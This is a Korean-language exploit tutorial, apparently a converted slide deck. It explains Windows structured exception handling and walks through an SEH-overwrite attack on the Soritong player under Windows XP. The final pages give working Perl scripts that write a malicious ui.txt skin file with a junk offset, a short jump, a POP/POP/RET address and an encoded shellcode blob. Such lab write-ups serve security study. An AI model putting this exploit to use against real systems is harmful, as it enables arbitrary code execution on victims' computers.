[exploit]exception handler

16
Exception Handler 1` Exception Handler 예외 핸들러 소속 Colony 이름 김동현 [email protected] http://binsect00.tistory.com 작성일 ’15.09.02

Upload: donghyen-kim

Post on 14-Dec-2015

41 views

Category:

Documents


4 download

DESCRIPTION

예외처리에의한

TRANSCRIPT

Page 1: [Exploit]Exception Handler

Exception Handler

1 ̀

Exception Handler

예외 핸들러

소속 Colony

이름 김동현

[email protected]

http://binsect00.tistory.com

작성일 ’15.09.02

Page 2: [Exploit]Exception Handler

Exception Handler

2

서론

애플리케이션에는 예외 발생에 대처하는 목적을가진 예외 핸들러가 존재한다.

예외 핸들러를 이용하여 Exploit에 사용한다.

본론

환경 Microsoft Windows XP Service Pack 3

대상 Soritong

예외 핸들러(Exception Handler)는 애플리케이션의 예외 발생에 대처하는

목적을 가진 애플리케이션 내부코드 조각들을 의미한다.

아래는 예외처리의 메모리 구조이다.

윈도우는 기본적으로 예외를 처리할 수 있는 SHE(구조적 예외 핸들러)를

포함하고 있다. 윈도우가 예외를 포착한다면 “ *** 에서 문제가 발생하여

프로그램을 종료합니다”와 같은 메시지창을 출력한다.

안정적인 소프트웨어를 작성하기 위해서는 개발언에에서 제공하는 예외

핸들러를 반드시 써야한다. 만약 소프트웨어에서 예외처리를 하지 않아

정상작동 되지 않을 경우 윈도우 SHE가 작동한다. 즉, 애플리케이션은 예외를

포착하고 특정 행위를 수행하고 만약 예외 핸들러를 지원하지 않을 경우 OS 가

그 예외를 넘겨받아 사용자에게 문제발생을 알린다.

애플리케이션이 catch 코드로 이동하기 위하여 예외 핸들러 지시 포인터가

스택에 저장된다. 각각 코드 블록은 고유의 스택 프레임을 가지게 되고, 예외

핸들러 지시 포인터는 이 스택 프레임에 포함된다. 즉, 각 함수/프로시저는

스택 프레임을 가진다. 만약 예외 핸들러가 이 함수/프로시저 안에서 실행되면

예외 핸들러 또한 고유의 스택 프레임을 가지게 된다. 프레임 기반 예외

핸들러는 스택의 ecxception_registration 구조체 안에 저장이 된다. 이

구조체(SHE 레코드)는 8 바이트로 구성되어 있다(8 바이트 * 2)

- 다음 exception_registration 구조체를 가지는 포인터

- 예외 핸들러의 실제 주소를 가리키는 포인터(SE 핸들러)

스택의 구조는 아래와 같다.

예외 처리기 주소

파라미터

EIP

EBP

지역변수

[예외 처리기 코드]

catch{

}

예외 처리를 위한 프레임

try{

}

낮은주소

높은주소

Page 3: [Exploit]Exception Handler

Exception Handler

3

예외 처리기 주소

0xFFFFFFFF

예외 처리기 주소

다음 SHE 레코드

예외 처리기 주소

다음 SHE 레코드

………

예외 처리기 주소

다음 SHE 레코드

메인 데이터 블록(애플리케이션의 ‘Main’ 함수 데이터 블록, 또는 TEB/TIB)의

최상위 부분에 SEH 체인을 가리키는 포인터가 위치한다. SEH 체인은 FS:[0]

체인으로 불리기도 한다.

SHE 코드를 디스어셈블 하면 ‘mov DWORD ptr from FS:[0]’ 코드를 볼 수

있다. 이 명령어는 예외 핸들러가 스레드에 설정되어 있고 예외가 발생할 때

그것을 포착할 수 있다는 것을 의미한다. 이 명령에 해당하는 기계어는

‘64A100000000’이다. 만약 이 기계어를 찾지 못한다면 애플리케이션/쓰레드는

예외 핸들러를 가지고 있지 않다고 생각할 수 있다.

SEH 체인의 끝은 0xFFFFFFFF 를 가리키는데 이것은 프로그램의 비정상

종료를 의미한다.

SEH 에 대하여 알아보기 위해 아래의 코드를 작성하고 windbg 로 실행한다.

#include <stdio.h>

#include <string.h>

#include <windows.h>

int ExceptionHandler(void);

int main(int argc, char *argv[]) {

char temp[512];

printf("Application launched");

__try {

strcpy(temp, argv[1]);

}__except (ExceptionHandler()){

}

return 0;

}

int ExceptionHandler(void) {

printf("Exception");

return 0;

}

로드된 모듈들은 아래와 같다.

Exception_Handle10

Exception_Handle10

Exception_Handle10

MSVCRTexhandler

Page 4: [Exploit]Exception Handler

Exception Handler

4

애플리케이션 SEH.exe은 0x00400000 에서 0x00406000 에 존재한다는 것을

알 수 있다. 여기서 SEH 코드의 기계어인 ‘64A100000000’를 검색한다.

여기서 예외 핸들러를 포함하고 있는 것을 알 수 있다.

TEB 를 덤프하여 본다.

TEB 를 덤프하여 SEH 의 시작점을 알 수 있다. 시작점은 0x0012fd0c이다.

해당 영역으로 이동하여 본다.

ff ff ff ff 를 볼 수 있으며 이는 체인의 끝 부분을 의미한다. 현재는 프로그램이

중지 된 상태이며, 이 상태에서는 일반적인 SEH 구조를 가지고 있는 것을 알

수 있다.

디버거에서 g 를 입력하여 프로그램을 실행시킨다. 그 후 같은 방법으로

SEH 체인에 대하여 알아본다.

Page 5: [Exploit]Exception Handler

Exception Handler

5

메인 함수를 위한 TEB 가 설정되어있다. 메인 함수의 SEH 체인 리스트의

다음 주소를 가리키고 있는 0x0012ff6c 를 가지고 있다.

예외 핸들러는 링크로 연결되어 있다. 스택상에 존재하며 보통 아랫단에

위치한다. 예외가 발생하면 윈도우 ntdll.dll 이 구동되고, SEH 체인의

시작점으로 이동해, 리스트를 쭉 훓으면서 해당 예외를 처리할 수 있는 적절한

핸들러를 찾는다. 만약 적절한 핸들러를 찾을 수 없다면 기본 Win32 핸들러가

사용된다(0xFFFFFFFF)

첫번째 SE 핸들러가 0x0012ff6c 에 있다는 것을 알 수 있다. 다음 nSEh

주소는 다음 SEH 레코드를 가리키고있는 0x0012FFB0 이다. 현재

SEH 체인에서 예외 핸들러는 0x00401779 를 가리키고 있다. 이 주소는 우리가

제작한 애플리케이션 내부에 있으므로 애플리케이션 핸들러임을 알 수 있다. 두

번째 SEH 레코드 엔트리 0x0012ffb0 를 따라가면 다음 nSEH 는

00x0012ffe0 임을 확인할 수 있고 핸들러는 0x00401779 를 가리키는데 이것

또한 애플리케이션 핸들러임을 알 수 있다. 마지막 SEH 레코드를 보면

nSEH 로 0xffffffff 가 지정되어 있다. 이것은 해당 레코드가 체인 마지막

부분임을 의미하며 핸들러는 0x7c839ac0 를 가리키고 있다. 이것은

OS 핸들러를 의미한다.

Page 6: [Exploit]Exception Handler

Exception Handler

6

* Windows XP SP1 이전 버전과 이후 버전을 구분할 필요가 있다.

XOR

Windows XP SP1 부터 예외 핸들러가 호출되기 전에 XOR 연산을 수행하여

모든 레지스터가 0x00000000 이 된다. 이렇게 될 경우 공격 코드를 작성하기

힘들어 진다. 첫 번째 예외 발생시 레지스터가 공격자가 제작한 페이로드를

가리키고 있다 하더라도 예외 핸들러가 발동되면 레지스터들은 모두

0x00000000 으로 초기화 된다.

DEP & 스택쿠키

SP2 부터 C++ 컴파일러 옵션 설정을 통해서 스택 쿠키와 DEP(데이터 실행

방지)가 가능하다. 이 두 보호 기술이 공격코드 작성을 상당히 어렵게 만든다.

safeSEH

SEH 기반 공격을 막을 수 있는 보호 메커니즘이 컴파일러에 추가되었다.

FS[0] : 0x0012FF6c 0x0012FFB0 | nSEH레코드

0x00401779 | SE핸들러

0x0012FFE0 | nSEH레코드

0x004013E0 | SE핸들러

0xFFFFFFFF | end체인

0x7c839ac0 SE핸들러

Page 7: [Exploit]Exception Handler

Exception Handler

7

SEH를 이용해 어떻게 쉘코드로 점프할 것인가

XOR 0x00000000 과 SafeSEH 보호 기법을 우회할 수 있는 방법이 존재한다.

단순히 레지스터로 점프하는 방법을 사용할 수 없기 때문에, dll 내부에 있는

연속된 명령어들을 호출 하는 방법을 사용해야 한다.

만일 예외가 주어졌을 때 사용하는 SE 핸들러를 가리키는 포인터를 덮어쓸 수

있고 또 다른 예외를 발생시키게 만들 수 있다면 애플리케이션은 덮어쓴

포인터로 강제 이동하도록 할 수 있다. 이 방법은 POP/POP/RET 기법으로

구현할 수 있다.

OS 는 예외 처리 루틴이 실행 되고 SEH 로 이동할 것이다. 이 명령을

가리키고 있는 포인터는 스택이 아닌 로드된 dll 이나 exe내부에서 찾아야

된다.

1. 예외를 발생시킨다. * 예외가 없다면 SEH 핸들러는 작동되지 않는다

2. 다음 SEH 레코드를 가리키는 포인터를 점프 코드로 덮어 쓴다.

3. 다음 SEH 로 흐름을 돌아가게 한 뒤 점프 코드를 실행할 수 있는 명령을

가리키는 포인터로 SE 핸들러를 덮어쓴다.

4. 쉘 코드는 덮어 쓴 SE 핸들러 바로 뒤에 위치해야 한다.

실습 예제의 취약점은 적절하지 못한 스킨(skin) 파일이 오버플로우를

발생시킬 수 있음을 보여준다. 간단한 펄엌어로 UI.txt 스킨 파일을 생성해

프로그램의 Skin-Default 폴더에 넣어보자.

예외 발생

nSEH 레코드

예외 처리기 주소

쉘코드

(1)예외 핸들러 작동

(2)SE 핸들러 POP/POP/RET

예외 핸들러 작동 초기화 중에 nSEH 포인터 주소가 스택의

ESP+8 부분에 기록된다. POP/POP/RET가 이 주소(esp+8 내

용)를 EIP에 기입하면, nSEH 포인터 주소에 있는 코드를 실

행하게 된다.

POP/POP/RET

Page 8: [Exploit]Exception Handler

Exception Handler

8

$uitxt = "ui.txt";

my $junk = "A" x 5000;

open(myfile, ">$uitxt");

print myfile $junk;

프로그램을 실행하면 애플리케이션은 그냥 종료된다. 이는 ‘A’ 문자 5000 개를

입력하여 SEH 체인까지 ‘A’로 덮어썻기 때문이다.

0x00422E33 에서 비정상 종료가 된다. ESP 는 0x0012DA14 이고 스택에서

FFFFFFFF 을 볼 수 있다. 이 것을 SEH 체인의 마지막임을 예측할 수 있다.

VIEW-THREADS 의 첫번째 쓰레드(애플리케이션 시작부분)의 dump thread

data block 을 보면 SEH 체인을 가리키는 포인터를 볼 수있다. 이를 통하여

SEH 체인이 정장적으로 작동했고 의도한 예외가 발생했다. 즉, 애플리케이션이

SEH 체인으로 점프를 한 것을 알 수 있다.

Page 9: [Exploit]Exception Handler

Exception Handler

9

VIEW-SEH Chain 을 보면 SE 핸들러 주소에 ‘A’로 채워져 있음을 볼 수

있다. 예외가 발생하면 EIP 는 SEH 주소로 덮어 써진다. 즉, 핸들러 주소를

제어할 수 있다고 원하는 코드를 실행할 수 있다는 것이다.

Windbg 로 Exception 이 되는 것을 확인한다.

Windbg 에서 실행시키면 예외가 발생했다고 메시지가 출력되고 처리가

되었음을 볼 수 있다.

Page 10: [Exploit]Exception Handler

Exception Handler

1 0

스택을 살펴보면 SEH 체인의 끝부분으로 추정되는 ffffffff 를 볼 수 있다.

‘!analyze –v’ 명령을 실행한다.

예외는 ‘ffffffff’에서 발생한 것으로 볼 수 있다. 애플리케이션이 오버플로우를

처리하기위해 예외 핸들러를 사용하지 않았다는 것이다. OS 에서 제공하는 기본

OS 예외 핸들러가 사용되었다.

Page 11: [Exploit]Exception Handler

Exception Handler

1 1

TEB 를 덤프하여 보면 다음과 같다. 0x0012fd46 에 있는 SEH 체인을

가리키고 있고 그 주소에는 ‘A’ 문자가 기록되어 있다.

예외 체인을 살펴보면 예외 핸들러를 덮어 쓴 것을 볼 수있다.

재실행(g)을 하면 예외를 포착할 수 있다.

Windbg 에서는 애플리케이션 충돌, 예외 발생, 접근위반등의 상태일 때 이것을

공격코드로 전환가능 여부를 판단해주는 모듈이 있다. ‘!exploitable’모듈을

받아서 msec.dll 모듈을 디버거가 설치된 폴더의 winext 서브폴더에 복사한다.

Page 12: [Exploit]Exception Handler

Exception Handler

1 2

이 모듈을 사용하면 Exploit 이 가능한지 여부를 출력해준다.

SEH 기반 취약점을 공격한다.

공격자의 junk 페이로드가 nSEH 포인터 주소를 덮어쓴 다음, SE 핸들러를

덮어 쓴다. 그 다음 위치에 쉘코드를 놓는다. 예외 발생시, 애플리케이션은

SE 핸들러로 이동하게된다. 때문에 SE 핸들러 위치에서 쉘코드로 이동할

방법을 만들어야 한다. 이는 두 번째 가짜 예외를 이용하여 구현할 수 있다.

nSEH 포인터가 SE 핸들러 바로 전에 위치하므로, SE 핸들러를 덮어썻다는

것은 이미 nSEH 를 덮어썼다는 것이다. 그리고 쉘코드는 SE 핸들러 바로 뒤에

위치한다. 즉, SE 핸들러 안에 POP/POP/RET 코드를 넣어 실행하면, EIP 가

nSEH 로 향하게 되고, 쉘코드가 실행된다.

이때, nSEH 에는 주소값이 아닌 short jmp 명령을 사용하여 SE 핸들러를

넘어 쉘코드로 이동한다.

공격과정은 아래와 같다.

쓰레기 값 next SEH SE 핸들러 쉘코드

(1) 첫 번째 예외 발생

POP POP RET

(3) nSEH 안의 short JMP

SE핸들러를 넘어 쉘코드로 JMP

(2) 두번째 예외가 있을 때,

해당

Page 13: [Exploit]Exception Handler

Exception Handler

1 3

1. nSEH 와 SEH 의 오프셋 찾기

2. SEH 를 POP/POP/RET 로 덮어쓰기

3. nSEH 에 브레이크 포인트 삽입

= > 예외가 발생하면 브레이크가 걸리고 쉘코드를 삽입할 공간을

찾는다.

먼저 오프셋을 찾기 위하여 몇가지 고려하여야 하는 사항이 있다. nSEH 와

SE 핸들러를 덮어 쓸 공간이 필요하다. 이 때, 반드시 nSEH 다음에 SE

핸들러가 위치해야한다. 그리고 쉘 코드가 필요로 하다.

오프셋을 찾기위하여 metasploit 의 패턴생성기를 사용한다.

첫 번째 예외가 포착되고 SEH 체인을 확인한다. 0x0012fd64에서 41367441

의 값을 볼 수 있다. 이 값은 오프셋의 값이며 리틀엔디언 방식으로 변환하게되

면 ’41 74 36 41’이고 헥사값은 ‘At6A’가 된다. 이 값은 patter_offset을 통하여

오프셋이 588이라는 것을 알 수있다.

여기서 우리는 두가지를 알 수 있다.

1. SE핸들러는 588byte 오프셋에 위치

2. nSEH를 가리키는 포인터는 588-4byte에 위치.

그러므로 쉘코드는 0x0012fd64+4byte(nSEH)+4byte(SE핸들러)에 위치하여야

한다.

이제 nSEH에 짧은 점프(최소 6byte)를 수행하는 명령을 주입하여야 한다. 점

프로 인하여 쉘코드의 첫부분이 지나칠 수 있는데 이 경우 앞부분을 NOP으로

채우면 해결된다.

Page 14: [Exploit]Exception Handler

Exception Handler

1 4

short JMP의 opcode 는 ‘eb’ 이고 그 뒤 점프할 size를 적어주면 된다. 즉, 6

바이트를 점프하게되면 ‘eb 06’이 된다. 주의하여야 할 점은 명령어 패치는 4바

이트 단위로 수행이된다. 그러므로 2개의 NOP을 추가하여야 한다. 결론적으로

nSEH에는 ‘0xeb,0x06,0x90,0x90’으로 덮어써야 한다.

예외가 발생하면 예외 수행기는 고유의 스택 프레임을 생성하고 그곳에 에러

핸들러에서 가져온 정보들을 담는다. EH 구조체 중 하나의 필드인

EstablisherFrame이 있는데 이 필드는 프로그램에 삽입된 예외 등록 레코드주

소(nSEH)를 가리킨다. 핸들러가 호출이되면 이와 동일한 주소(nSEH)가

ESP+8 부분에 위치하게 된다. 여기서 POP/POP/RET가 수행이되면 아래와 같

은 일이 발생한다.

1. 첫 번째 pop은 스택에서 4바이트를 가져온다,

2. 두 번째 pop은 스택에서 추가적으로 4바이트를 가져온다.

3. ret는 ESP의 꼭대기에 위치한 현재 값(nSEH 주소. esp+8)을 가져

와 EIP에 넣는다

이것을 기반으로 공격코드를 제작하여 본다.

지금까지 알아본 정보와 추가적으로 POP/POP/RET 주소가 필요하다.

Page 15: [Exploit]Exception Handler

Exception Handler

1 5

이를 기반으로 코드를 작성한다.

1. nSEH까지 채우기위하여 offset만큼 의미없는값을 채운다.

2. nSEH에 break 를 덮는다

3. SE 핸들러에 pop/pop/ret 가 있는 주소로 덮는다.

4. 이후 실행할 shellcode를 작성한다.

쓰레기 값 next SEH SE 핸들러 쉘코드

#ExptionHandler.pl

my $junk = "A" x 584;

my $nextSEHoverwrite = "\xcc\xcc\xcc\xcc"; #breakpoint

my $SEHoverwrite = pack('V',0x100116fd); #POP POP RET from player.dll

my $shellcode =

"1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";

my $junk2 = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

print "Success";

첫 번째 예외가 지나면 eip는 nSEH에 있는 브레이크에 걸리게 된다. eip를 보

면 nSEH 첫 바이트를 가리키고 있다. 그리고 메모리에는 쉘코드를 넣기위하여

임의의 값을 넣어놓은 문자들을 볼 수 있다.

이제 nSHE에 short JMP 명령을 넣고 SE핸들러 뒤쪽에 쉘코드를 넣는다. 이로

서 페이로드가 완성이되고 exploit이 된다.

#ExptionHandler.pl

Page 16: [Exploit]Exception Handler

Exception Handler

1 6

my $junk = "A" x 584;

my $nextSEHoverwrite = "\xeb\x06\x90\x90"; #breakpoint

my $SEHoverwrite = pack('V',0x100116fd); #POP POP RET from player.dll

my $shellcode =

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

my $junk2 = "\x90" x 1000;

open(myfile,'>ui.txt');

print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;

print "Success";